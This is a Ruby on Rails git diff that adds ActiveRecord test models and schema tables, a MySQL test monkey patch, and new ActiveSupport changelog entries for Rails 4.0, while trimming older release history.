diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
index 2a98e74f2c..e864295acf 100644
--- a/activerecord/test/models/treasure.rb
+++ b/activerecord/test/models/treasure.rb
@@ -6,3 +6,6 @@ class Treasure < ActiveRecord::Base
accepts_nested_attributes_for :looter
end
+
+class HiddenTreasure < Treasure
+end
diff --git a/activerecord/test/models/vegetables.rb b/activerecord/test/models/vegetables.rb
new file mode 100644
index 0000000000..1f41cde3a5
--- /dev/null
+++ b/activerecord/test/models/vegetables.rb
@@ -0,0 +1,24 @@
+class Vegetable < ActiveRecord::Base
+
+ validates_presence_of :name
+
+ def self.inheritance_column
+ 'custom_type'
+ end
+end
+
+class Cucumber < Vegetable
+end
+
+class Cabbage < Vegetable
+end
+
+class GreenCabbage < Cabbage
+end
+
+class KingCole < GreenCabbage
+end
+
+class RedCabbage < Cabbage
+ belongs_to :seller, :class_name => 'Company'
+end
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 5f01f1fc50..2cd9f30b59 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,7 +1,7 @@
ActiveRecord::Schema.define do
%w(postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids
- postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent).each do |table_name|
+ postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
end
@@ -82,6 +82,15 @@ _SQL
_SQL
end
+ if 't' == select_value("select 'json'=ANY(select typname from pg_type)")
+ execute <<_SQL
+ CREATE TABLE postgresql_json_data_type (
+ id SERIAL PRIMARY KEY,
+ json_data json default '{}'::json
+ );
+_SQL
+ end
+
execute <<_SQL
CREATE TABLE postgresql_moneys (
id SERIAL PRIMARY KEY,
@@ -100,7 +109,8 @@ _SQL
execute <<_SQL
CREATE TABLE postgresql_times (
id SERIAL PRIMARY KEY,
- time_interval INTERVAL
+ time_interval INTERVAL,
+ scaled_time_interval INTERVAL(6)
);
_SQL
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 6c919a2b02..798ea20efc 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -171,7 +171,6 @@ ActiveRecord::Schema.define do
create_table :companies, :force => true do |t|
t.string :type
- t.string :ruby_type
t.integer :firm_id
t.string :firm_name
t.string :name
@@ -181,9 +180,15 @@ ActiveRecord::Schema.define do
t.string :description, :default => ""
end
- add_index :companies, [:firm_id, :type, :rating, :ruby_type], :name => "company_index"
+ add_index :companies, [:firm_id, :type, :rating], :name => "company_index"
add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
+ create_table :vegetables, :force => true do |t|
+ t.string :name
+ t.integer :seller_id
+ t.string :custom_type
+ end
+
create_table :computers, :force => true do |t|
t.integer :developer, :null => false
t.integer :extendedWarranty, :null => false
@@ -270,11 +275,20 @@ ActiveRecord::Schema.define do
t.string :name
end
+ create_table :friendships, :force => true do |t|
+ t.integer :friend_id
+ t.integer :person_id
+ end
+
create_table :goofy_string_id, :force => true, :id => false do |t|
t.string :id, :null => false
t.string :info
end
+ create_table :having, :force => true do |t|
+ t.string :where
+ end
+
create_table :guids, :force => true do |t|
t.column :key, :string
end
@@ -476,6 +490,7 @@ ActiveRecord::Schema.define do
t.references :number1_fan
t.integer :lock_version, :null => false, :default => 0
t.string :comments
+ t.integer :followers_count, :default => 0
t.references :best_friend
t.references :best_friend_of
t.timestamps
@@ -678,6 +693,7 @@ ActiveRecord::Schema.define do
create_table :treasures, :force => true do |t|
t.column :name, :string
+ t.column :type, :string
t.column :looter_id, :integer
t.column :looter_type, :string
end
diff --git a/activerecord/test/support/mysql.rb b/activerecord/test/support/mysql.rb
new file mode 100644
index 0000000000..7a66415e64
--- /dev/null
+++ b/activerecord/test/support/mysql.rb
@@ -0,0 +1,11 @@
+if defined?(Mysql)
+ class Mysql
+ class Error
+ # This monkey patch fixes annoy warning with mysql-2.8.1.gem when executing testcases.
+ def errno_with_fix_warnings
+ silence_warnings { errno_without_fix_warnings }
+ end
+ alias_method_chain :errno, :fix_warnings
+ end
+ end
+end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index 5f4bf70a08..2df3d1f69b 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,5 +1,134 @@
## Rails 4.0.0 (unreleased) ##
+* Tests tag the Rails log with the current test class and test case:
+
+ [SessionsControllerTest] [test_0002_sign in] Processing by SessionsController#create as HTML
+ [SessionsControllerTest] [test_0002_sign in] ...
+
+ *Jeremy Kemper*
+
+* Add logger.push_tags and .pop_tags to complement logger.tagged:
+
+ class Job
+ def before
+ Rails.logger.push_tags :jobs, self.class.name
+ end
+
+ def after
+ Rails.logger.pop_tags 2
+ end
+ end
+
+ *Jeremy Kemper*
+
+* Allow delegation to the class using the `:class` keyword, replacing
+ `self.class` usage:
+
+ class User
+ def self.hello
+ "world"
+ end
+
+ delegate :hello, to: :class
+ end
+
+ *Marc-Andre Lafortune*
+
+* `Date.beginning_of_week` thread local and `beginning_of_week` application
+ config option added (default is Monday).
+
+ *Innokenty Mikhailov*
+
+* An optional block can be passed to `config_accessor` to set its default value
+
+ class User
+ include ActiveSupport::Configurable
+ config_accessor :hair_colors do
+ [:brown, :black, :blonde, :red]
+ end
+ end
+
+ User.hair_colors # => [:brown, :black, :blonde, :red]
+
+ *Larry Lv*
+
+* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of
+ thread safety. It will be removed without replacement in Rails 4.1.
+
+ *Steve Klabnik*
+
+* An optional block can be passed to `Hash#deep_merge`. The block will be invoked
+ for each duplicated key and used to resolve the conflict.
+
+ *Pranas Kiziela*
+
+* ActiveSupport::Deprecation is now a class. It is possible to create an instance
+ of deprecator. Backwards compatibility has been preserved.
+
+ You can choose which instance of the deprecator will be used.
+
+ deprecate :method_name, :deprecator => deprecator_instance
+
+ You can use ActiveSupport::Deprecation in your gem.
+
+ require 'active_support/deprecation'
+ require 'active_support/core_ext/module/deprecation'
+
+ class MyGem
+ def self.deprecator
+ ActiveSupport::Deprecation.new('2.0', 'MyGem')
+ end
+
+ def old_method
+ end
+
+ def new_method
+ end
+
+ deprecate :old_method => :new_method, :deprecator => deprecator
+ end
+
+ MyGem.new.old_method
+ # => DEPRECATION WARNING: old_method is deprecated and will be removed from MyGem 2.0 (use new_method instead). (called from <main> at file.rb:18)
+
+ *Piotr Niełacny & Robert Pankowecki*
+
+* `ERB::Util.html_escape` encodes single quote as `#39`. Decimal form has better support in old browsers. *Kalys Osmonov*
+
+* `ActiveSupport::Callbacks`: deprecate monkey patch of object callbacks.
+ Using the #filter method like this:
+
+ before_filter MyFilter.new
+
+ class MyFilter
+ def filter(controller)
+ end
+ end
+
+ Is now deprecated with recommendation to use the corresponding filter type
+ (`#before`, `#after` or `#around`):
+
+ before_filter MyFilter.new
+
+ class MyFilter
+ def before(controller)
+ end
+ end
+
+ *Bogdan Gusiev*
+
+* An optional block can be passed to `HashWithIndifferentAccess#update` and `#merge`.
+ The block will be invoked for each duplicated key, and used to resolve the conflict,
+ thus replicating the behaviour of the corresponding methods on the `Hash` class.
+
+ *Leo Cassarani*
+
+* Remove `j` alias for `ERB::Util#json_escape`.
+ The `j` alias is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`
+ and both modules are included in the view context that would confuse the developers.
+
+ *Akira Matsuda*
+
* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore
*Guillermo Iguaran*
@@ -9,8 +138,8 @@
*Carlos Antonio da Silva*
-* ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and
- #encode_json methods for custom JSON string literals.
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and
+ `#encode_json` methods for custom JSON string literals.
*Erich Menge*
@@ -108,1727 +237,4 @@
* Remove deprecated ActiveSupport::JSON::Variable. *Erich Menge*
-
-## Rails 3.2.8 (Aug 9, 2012) ##
-
-* Fix ActiveSupport integration with Mocha > 0.12.1. *Mike Gunderloy*
-
-* Reverted the deprecation of ActiveSupport::JSON::Variable. *Rafael Mendonça França*
-
-* ERB::Util.html_escape now escapes single quotes. *Santiago Pastorino*
-
-
-## Rails 3.2.7 (Jul 26, 2012) ##
-
-* Hash#fetch(fetch) is not the same as doing hash[key]
-
-* adds a missing require [fixes #6896]
-
-* make sure the inflection rules are loaded when cherry-picking active_support/core_ext/string/inflections.rb [fixes #6884]
-
-* Merge pull request #6857 from rsutphin/as_core_ext_time_missing_require
-
-* bump AS deprecation_horizon to 4.0
-
-
-## Rails 3.2.6 (Jun 12, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.5 (Jun 1, 2012) ##
-
-* ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods
- for custom JSON string literals. *Erich Menge*
-
-
-## Rails 3.2.4 (May 31, 2012) ##
-
-* Added #beginning_of_hour and #end_of_hour to Time and DateTime core
- extensions. *Mark J. Titorenko*
-
-
-## Rails 3.2.3 (March 30, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.2 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.1 (January 26, 2012) ##
-
-* Documentation fixes and improvements.
-
-* Update time zone offset information. *Ravil Bayramgalin*
-
-* The deprecated `ActiveSupport::Base64.decode64` calls `::Base64.decode64`
- now. *Jonathan Viney*
-
-* Fixes uninitialized constant `ActiveSupport::TaggedLogging::ERROR`. *kennyj*
-
-
-## Rails 3.2.0 (January 20, 2012) ##
-
-* ActiveSupport::Base64 is deprecated in favor of ::Base64. *Sergey Nartimov*
-
-* Module#synchronize is deprecated with no replacement. Please use `monitor`
- from ruby's standard library.
-
-* (Date|DateTime|Time)#beginning_of_week accept an optional argument to
- be able to set the day at which weeks are assumed to start.
-
-* Deprecated ActiveSupport::MessageEncryptor#encrypt and decrypt. *José Valim*
-
-* ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs. *fxn*
-
-* Module#qualified_const_(defined?|get|set) are analogous to the corresponding methods
- in the standard API, but accept qualified constant names. *fxn*
-
-* Added inflection #deconstantize which complements #demodulize. This inflection
- removes the righmost segment in a qualified constant name. *fxn*
-
-* Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities *DHH*
-
- Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
- Logger.tagged("BCX") { Logger.info "Stuff" } # Logs "[BCX] Stuff"
- Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
- Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
-
-* Added safe_constantize that constantizes a string but returns nil instead of an exception if the constant (or part of it) does not exist *Ryan Oblak*
-
-* ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options! *Prem Sichanugrist*
-
-* Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<< *DHH*
-
-* The definition of blank string for Ruby 1.9 has been extended to Unicode whitespace.
- Also, in 1.8 the ideographic space U+3000 is considered to be whitespace. *Akira Matsuda, Damien Mathieu*
-
-* The inflector understands acronyms. *dlee*
-
-* Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern *José Valim*
-
-* Added Time#all_day/week/quarter/year as a way of generating ranges (example: Event.where(created_at: Time.now.all_week)) *DHH*
-
-* Added instance_accessor: false as an option to Class#cattr_accessor and friends *DHH*
-
-* Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library *Jon Leighton*
-
-* ActiveSupport::OrderedHash now has different behavior for #each and
- \#each_pair when given a block accepting its parameters with a splat. *Andrew Radev*
-
-* ActiveSupport::BufferedLogger#silence is deprecated. If you want to squelch
- logs for a certain block, change the log level for that block.
-
-* ActiveSupport::BufferedLogger#open_log is deprecated. This method should
- not have been public in the first place.
-
-* ActiveSupport::BufferedLogger's behavior of automatically creating the
- directory for your log file is deprecated. Please make sure to create the
- directory for your log file before instantiating.
-
-* ActiveSupport::BufferedLogger#auto_flushing is deprecated. Either set the
- sync level on the underlying file handle like this:
-
- f = File.open('foo.log', 'w')
- f.sync = true
- ActiveSupport::BufferedLogger.new f
-
- Or tune your filesystem. The FS cache is now what controls flushing.
-
-* ActiveSupport::BufferedLogger#flush is deprecated. Set sync on your
- filehandle, or tune your filesystem.
-
-
-## Rails 3.1.4 (March 1, 2012) ##
-
-* No changes
-
-
-## Rails 3.1.3 (November 20, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.2 (November 18, 2011) ##
-
-* No changes
-
-
-## Rails 3.1.1 (October 7, 2011) ##
-
-* ruby193: String#prepend is also unsafe *Akira Matsuda*
-
-* Fix obviously breakage of Time.=== for Time subclasses *jeremyevans*
-
-* Added fix so that file store does not raise an exception when cache dir does
- not exist yet. This can happen if a delete_matched is called before anything
- is saved in the cache. *Philippe Huibonhoa*
-
-* Fixed performance issue where TimeZone lookups would require tzinfo each time *Tim Lucas*
-
-* ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options! *Prem Sichanugrist*
-
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-* ActiveSupport::Dependencies#load and ActiveSupport::Dependencies#require now
- return the value from `super` *Aaron Patterson*
-
-* Fixed ActiveSupport::Gzip to work properly in Ruby 1.8 *Guillermo Iguaran*
-
-* Kernel.require_library_or_gem was deprecated and will be removed in Rails 3.2.0 *Josh Kalderimis*
-
-* ActiveSupport::Duration#duplicable? was fixed for Ruby 1.8 *thedarkone*
-
-* ActiveSupport::BufferedLogger set log encoding to BINARY, but still use text
- mode to output portable newlines. *fxn*
-
-* ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant. This better reflects the nature of the error which is usually caused by calling constantize on a nested constant. *Andrew White*
-
-* Deprecated ActiveSupport::SecureRandom in favour of SecureRandom from the standard library *Jon Leighton*
-
-* New reporting method Kernel#quietly. *fxn*
-
-* Add String#inquiry as a convenience method for turning a string into a StringInquirer object *DHH*
-
-* Add Object#in? to test if an object is included in another object *Prem Sichanugrist, Brian Morearty, John Reitano*
-
-* LocalCache strategy is now a real middleware class, not an anonymous class
- posing for pictures.
-
-* ActiveSupport::Dependencies::ClassCache class has been introduced for
- holding references to reloadable classes.
-
-* ActiveSupport::Dependencies::Reference has been refactored to take direct
- advantage of the new ClassCache.
-
-* Backports Range#cover? as an alias for Range#include? in Ruby 1.8 *Diego Carrion, fxn*
-
-* Added weeks_ago and prev_week to Date/DateTime/Time. *Rob Zolkos, fxn*
-
-* Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants! *Andrew White*
-
-* JSON decoding now uses the multi_json gem which also vendors a json engine called OkJson. The yaml backend has been removed in favor of OkJson as a default engine for 1.8.x, while the built in 1.9.x json implementation will be used by default. *Josh Kalderimis*
-
-
-## Rails 3.0.12 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.0.11 (November 18, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.10 (August 16, 2011) ##
-
-* Delayed backtrace scrubbing in `load_missing_constant` until we actually
- raise the exception
-
-
-## Rails 3.0.9 (June 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.8 (June 7, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-* Hash.from_xml no longer loses attributes on tags containing only whitespace *André Arko*
-
-
-## Rails 3.0.6 (April 5, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-* No changes.
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-* Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants! *Andrew White*
-
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-* No Changes, just a version bump.
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-* Implemented String#strip_heredoc. *fxn*
-
-* Pluggable cache stores: setting config.cache_store = "custom_store" will require 'active_support/cache/custom_store' and look for the CustomStore constant. #5486 *Mike Perham*
-
-* Removed Object#returning, Object#tap should be used instead. *Santiago Pastorino*
-
-* Deprecation behavior is no longer hardcoded to the name of the environment.
- Instead, it is set via config.active_support.deprecation and can be one
- of :log, :stderr or :notify. :notify is a new style that sends the warning
- via ActiveSupport::Notifications, and is the new default for production
- *Yehuda Katz*
-
-* Renamed ActiveSupport::Dependecies.load_(once_)paths to autoload_(once_)paths. *fxn*
-
-* Added ActiveSupport::FileUpdateChecker to execute a block only if a set of files changed, used by Router and I18n locale files. *José Valim*
-
-* Added ActiveSupport::DescendantsTracker to track descendants with support to constants reloading. *José Valim*
-
-* ActiveSupport::OrderedHash#merge and #merge! accept a block. #4838 *Paul Mucur, fxn*
-
-* Date#since, #ago, #beginning_of_day, #end_of_day, and #xmlschema honor now the user time zone if set. *Geoff Buesing*
-
-* Extracted String#truncate from TextHelper#truncate *DHH*
-
-* Ruby 1.9: support UTF-8 case folding. #4595 *Norman Clarke*
-
-* Removes Array#rand and backports Array#sample from Ruby 1.9, thanks to Marc-Andre Lafortune. *fxn*
-
-* Ruby 1.9: Renames last_(month|year) to prev_(month|year) in Date and Time. *fxn*
-
-* Aliases Date#sunday to Date#end_of_week. *fxn*
-
-* Backports Date#>> from 1.9 so that calculations do the right thing around the calendar reform. *fxn*
-
-* Date#to_time handles properly years in the range 0..138. *fxn*
-
-* Deprecate {{}} as interpolation syntax for I18n in favor of %{} *José Valim*
-
-* Array#to_xml is more powerful and able to handle the same types as Hash#to_xml #4490 *Neeraj Singh*
-
-* Harmonize the caching API and refactor the backends. #4452 *Brian Durand*
- All caches:
- * Add default options to initializer that will be sent to all read, write, fetch, exist?, increment, and decrement
- * Add support for the :expires_in option to fetch and write for all caches. Cache entries are stored with the create timestamp and a ttl so that expiration can be handled independently of the implementation.
- * Add support for a :namespace option. This can be used to set a global prefix for cache entries.
- * Deprecate expand_cache_key on ActiveSupport::Cache and move it to ActionController::Caching and ActionDispatch::Http::Cache since the logic in the method used some Rails specific environment variables and was only used by ActionPack classes. Not very DRY but there didn't seem to be a good shared spot and ActiveSupport really shouldn't be Rails specific.
- * Add support for :race_condition_ttl to fetch. This setting can prevent race conditions on fetch calls where several processes try to regenerate a recently expired entry at once.
- * Add support for :compress option to fetch and write which will compress any data over a configurable threshold.
- * Nil values can now be stored in the cache and are distinct from cache misses for fetch.
- * Easier API to create new implementations. Just need to implement the methods read_entry, write_entry, and delete_entry instead of overwriting existing methods.
- * Since all cache implementations support storing objects, update the docs to state that ActiveCache::Cache::Store implementations should store objects. Keys, however, must be strings since some implementations require that.
- * Increase test coverage.
- * Document methods which are provided as convenience but which may not be universally available.
-
- MemoryStore:
- * MemoryStore can now safely be used as the cache for single server sites.
- * Make thread safe so that the default cache implementation used by Rails is thread safe. The overhead is minimal and it is still the fastest store available.
- * Provide :size initialization option indicating the maximum size of the cache in memory (defaults to 32Mb).
- * Add prune logic that removes the least recently used cache entries to keep the cache size from exceeding the max.
- * Deprecated SynchronizedMemoryStore since it isn't needed anymore.
-
- FileStore:
- * Escape key values so they will work as file names on all file systems, be consistent, and case sensitive
- * Use a hash algorithm to segment the cache into sub directories so that a large cache doesn't exceed file system limits.
- * FileStore can be slow so implement the LocalCache strategy to cache reads for the duration of a request.
- * Add cleanup method to keep the disk from filling up with expired entries.
- * Fix increment and decrement to use file system locks so they are consistent between processes.
-
- MemCacheStore:
- * Support all keys. Previously keys with spaces in them would fail
- * Deprecate CompressedMemCacheStore since it isn't needed anymore (use :compress => true)
-
-* JSON: encode objects that don't have a native JSON representation using to_hash, if available, instead of instance_values (the old fallback) or to_s (other encoders' default). Encode BigDecimal and Regexp encode as strings to conform with other encoders. Try to transcode non-UTF-8 strings. *Jeremy Kemper*
-
-* HashWithIndifferentAccess: remove inherited symbolize_keys! since its keys are always strings. *Santiago Pastorino*
-
-* Improve transliteration quality. #4374 *Norman Clarke*
-
-* Speed up and add Ruby 1.9 support for ActiveSupport::Multibyte::Chars#tidy_bytes. #4350 *Norman Clarke*
-
-* Reduced load time by deferring configuration of classes using
- ActiveSupport::on_load(:component_name) *YK*
-
-* Rename #metaclass to #singleton_class now that ruby-core has decided *JK*
-
-* New assertions assert_blank and assert_present. #4299 *Juanjo Bazan*
-
-* Use Object#singleton_class instead of #metaclass. Prefer Ruby's choice. *Jeremy Kemper*
-
-* JSON backend for YAJL. Preferred if available. #2666 *Brian Lopez*
-
-* Introduce class_attribute to declare inheritable class attributes. Writing an attribute on a subclass behaves just like overriding the superclass reader method. Unifies and replaces most usage of cattr_accessor, class_inheritable_attribute, superclass_delegating_attribute, and extlib_inheritable_attribute. *Jeremy Kemper, Yehuda Katz*
-
-* Time#- with a DateTime argument behaves the same as with a Time argument, i.e. returns the difference between self and arg as a Float #3476 *Geoff Buesing*
-
-* YAML serialization for OrderedHash. #3608 *Gregor Schmidt*
-
-* Update bundled TZInfo to v0.3.16 *Geoff Buesing*
-
-* Georgetown TimeZone is now mapped to "America/Guyana" instead of "America/Argentina/San_Juan" #1821 *Geoff Buesing, Reuben Sivan*
-
-* Changed the default ActiveSupport.use_standard_json_time_format from false to true and
- ActiveSupport.escape_html_entities_in_json from true to false to match previously announced Rails 3 defaults *DHH*
-
-* Added Object#presence that returns the object if it's #present? otherwise returns nil *DHH/Colin Kelley*
-
-* Add Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?/else calls *DHH*
-
-* Update Edinburgh TimeZone to use "Europe/London" instead of "Europe/Dublin" #3310 *Phil Ross*
-
-* Update bundled TZInfo to v0.3.15 *Geoff Buesing*
-
-* JSON: +Object#to_json+ calls +as_json+ to coerce itself into something natively encodable like +Hash+, +Integer+, or +String+. Override +as_json+ instead of +to_json+ so you're JSON library agnostic. *Jeremy Kemper*
-
-* String #to_time and #to_datetime: handle fractional seconds #864 *Jason Frey*
-
-* Update bundled TZInfo to v0.3.13 *Geoff Buesing*
-
-* Allow MemCacheStore to be initialized with a MemCache-like object instead of addresses and options *Bryan Helmkamp*
-
-* Change spelling of Kyev timezone to Kyiv #2613 *Alexander Dymo*
-
-* Add ActiveSupport.parse_json_times to disable time parsing in JSON backends that don't support it or don't need it. *rick*
-
-* Add pluggable JSON backends with support for the JSON gem. *rick*
- Example: ActiveSupport::JSON.backend = "JSONGem"
-
- All internal Rails JSON encoding is now handled by ActiveSupport::JSON.encode(). Use of #to_json is not recommended, as it may clash with other libraries that overwrite it. However, you can recover Rails specific functionality
- if you really want to use #to_json.
-
- gem 'json'
- ActiveSupport::JSON.backend = "JSONGem"
-
- class ActiveRecord::Base
- alias to_json rails_to_json
- end
-
-* require 'active_support' no longer orders the whole menu of core extensions. Ask for just what you need: e.g. require 'active_support/core/time' to use timezones, durations, and stdlib date/time extensions. *Jeremy Kemper*
-
-* Removed rarely-used DRb cache store. *Jeremy Kemper*
-
-* TimeWithZone.name returns 'Time', to further thwart type checking *Geoff Buesing*
-
-* Time.local instances: Adding 24.hours across the DST boundary adds 24 hours instead of one day #2066 *Michael Curtis*
-
-
-## 2.3.2 Final (March 15, 2009) ##
-
-* XmlMini supports LibXML and Nokogiri backends. #2084, #2190 *Bart ten Brinke, Aaron Patterson*
- Example: XmlMini.backend = 'Nokogiri'
-
-* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 *Akira Matsuda*
-
-* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/ *Mike Perham*
-
-* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars. #2033 *MOROHASHI Kyosuke*
-
-* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 *Zachary Zolton*
-
-* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 *Levin Alexander*
-
-* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable. *Jeremy Kemper*
-
-* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] *Nicholas Dainty*
-
-* Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self. *Jeremy Kemper*
- array.select { ... }.tap(&:inspect).map { ... }
-
-* TimeWithZone#- gives correct result with wrapped DateTime, and with DateTime argument *Geoff Buesing*
-
-* Updated i18n gem to version 0.1.1 #1635 *Yaroslav Markin*
-
-* Add :allow_nil option to delegate. #1127 *Sergio Gil*
-
-* Add Benchmark.ms convenience method to benchmark realtime in milliseconds. *Jeremy Kemper*
-
-* Updated included memcache-client to the 1.5.0.5 version which includes fixes from fiveruns and 37signals to deal with failover and timeouts #1535 *Joshua Sierles*
-
-* Multibyte: add multibyte-safe Chars#ord rather than falling back to String#ord. #1483 *Jason Cheow*
-
-* I18n support for Array#to_sentence. Introduces support.array.words_connector, .two_words_connector, and .last_word_connector translation keys. #1397 *Akira Matsuda*
-
-* Added ActiveSupport::OrderedHash#each_key and ActiveSupport::OrderedHash#each_value #1410 *Christoffer Sawicki*
-
-* Added ActiveSupport::MessageVerifier and MessageEncryptor to aid users who need to store signed and/or encrypted messages. *Michael Koziarski*
-
-* Added ActiveSupport::BacktraceCleaner to cut down on backtrace noise according to filters and silencers *David Heinemeier Hansson*
-
-* Added Object#try. ( Taken from http://ozmm.org/posts/try.html ) *Chris Wanstrath*
-
-* Added Enumerable#none? to check that none of the elements match the block #1408 *Damian Janowski*
-
-* TimeZone offset tests: use current_period, to ensure TimeZone#utc_offset is up-to-date *Geoff Buesing*
-
-* Update bundled TZInfo to 0.3.12 *Geoff Buesing*
-
-* Added lambda merging to OptionMerger (especially useful with named_scope and with_options) #726 *Paweł Kondzior*
-
-
-## 2.2.1 RC2 (November 14th, 2008) ##
-
-* Increment the version of our altered memcache-client to prevent confusion caused when the 1.5.0 gem is installed.
-
-* Fixed the option merging in Array#to_xml #1126 *Rudolf Gavlas*
-
-* Make I18n::Backend::Simple reload its translations in development mode *David Heinemeier Hansson/Sven Fuchs*
-
-
-## 2.2.0 RC1 (October 24th, 2008) ##
-
-* TimeWithZone#freeze: preload instance variables so that we can actually freeze *Geoff Buesing*
-
-* Fix Brasilia timezone #1180 *Marcus Derencius, Kane*
-
-* Time#advance recognizes fractional days and weeks. Deprecate Durations of fractional months and years #970 *Tom Lea*
-
-* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. *Norbert Crombach, Pratik Naik*
-
-* Switch from String#chars to String#mb_chars for the unicode proxy. *Manfred Stienstra*
-
- This helps with 1.8.7 compatibility and also improves performance for some operations by reducing indirection.
-
-* TimeWithZone #wday, #yday and #to_date avoid trip through #method_missing *Geoff Buesing*
-
-* Added Time, Date, DateTime and TimeWithZone #past?, #future? and #today? #720 *Clemens Kofler, Geoff Buesing*
-
-* Fixed Sri Jayawardenepura time zone to map to Asia/Colombo *Jamis Buck*
-
-* Added Inflector#parameterize for easy slug generation ("Donald E. Knuth".parameterize => "donald-e-knuth") #713 *Matt Darby*
-
-* Changed cache benchmarking to be reported in milliseconds *David Heinemeier Hansson*
-
-* Fix Ruby's Time marshaling bug in pre-1.9 versions of Ruby: utc instances are now correctly unmarshaled with a utc zone instead of the system local zone [#900 state:resolved] *Luca Guidi, Geoff Buesing*
-
-* Add Array#in_groups which splits or iterates over the array in specified number of groups. #579. [Adrian Mugnolo] Example:
-
- a = (1..10).to_a
- a.in_groups(3) # => [[1, 2, 3, 4], [5, 6, 7, nil], [8, 9, 10, nil]]
- a.in_groups(3, false) # => [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
-
-* Fix TimeWithZone unmarshaling: coerce unmarshaled Time instances to utc, because Ruby's marshaling of Time instances doesn't respect the zone *Geoff Buesing*
-
-* Added Memoizable mixin for caching simple lazy loaded attributes *Josh Peek*
-
-* Move the test related core_ext stuff out of core_ext so it's only loaded by the test helpers. *Michael Koziarski*
-
-* Add Inflection rules for String#humanize. #535 *Dan Manges*
-
- ActiveSupport::Inflector.inflections do |inflect|
- inflect.human(/_cnt$/i, '\1_count')
- end
-
- 'jargon_cnt'.humanize # => 'Jargon count'
-
-* TimeWithZone: when crossing DST boundary, treat Durations of days, months or years as variable-length, and all other values as absolute length. A time + 24.hours will advance exactly 24 hours, but a time + 1.day will advance 23-25 hours, depending on the day. Ensure consistent behavior across all advancing methods *Geoff Buesing*
-
-* Added TimeZone #=~, to support matching zones by regex in time_zone_select. #195 *Ernie Miller*
-
-* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] *David Heinemeier Hansson*
-
-* Added test/do declaration style testing to ActiveSupport::TestCase *DHH via Jay Fields*
-
-* Added Object#present? which is equivalent to !Object#blank? *David Heinemeier Hansson*
-
-* Added Enumberable#many? to encapsulate collection.size > 1 *David Heinemeier Hansson/Damian Janowski*
-
-* Add more standard Hash methods to ActiveSupport::OrderedHash *Steve Purcell*
-
-* Namespace Inflector, Dependencies, OrderedOptions, and TimeZone under ActiveSupport *Josh Peek*
-
-* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false *David Heinemeier Hansson*
-
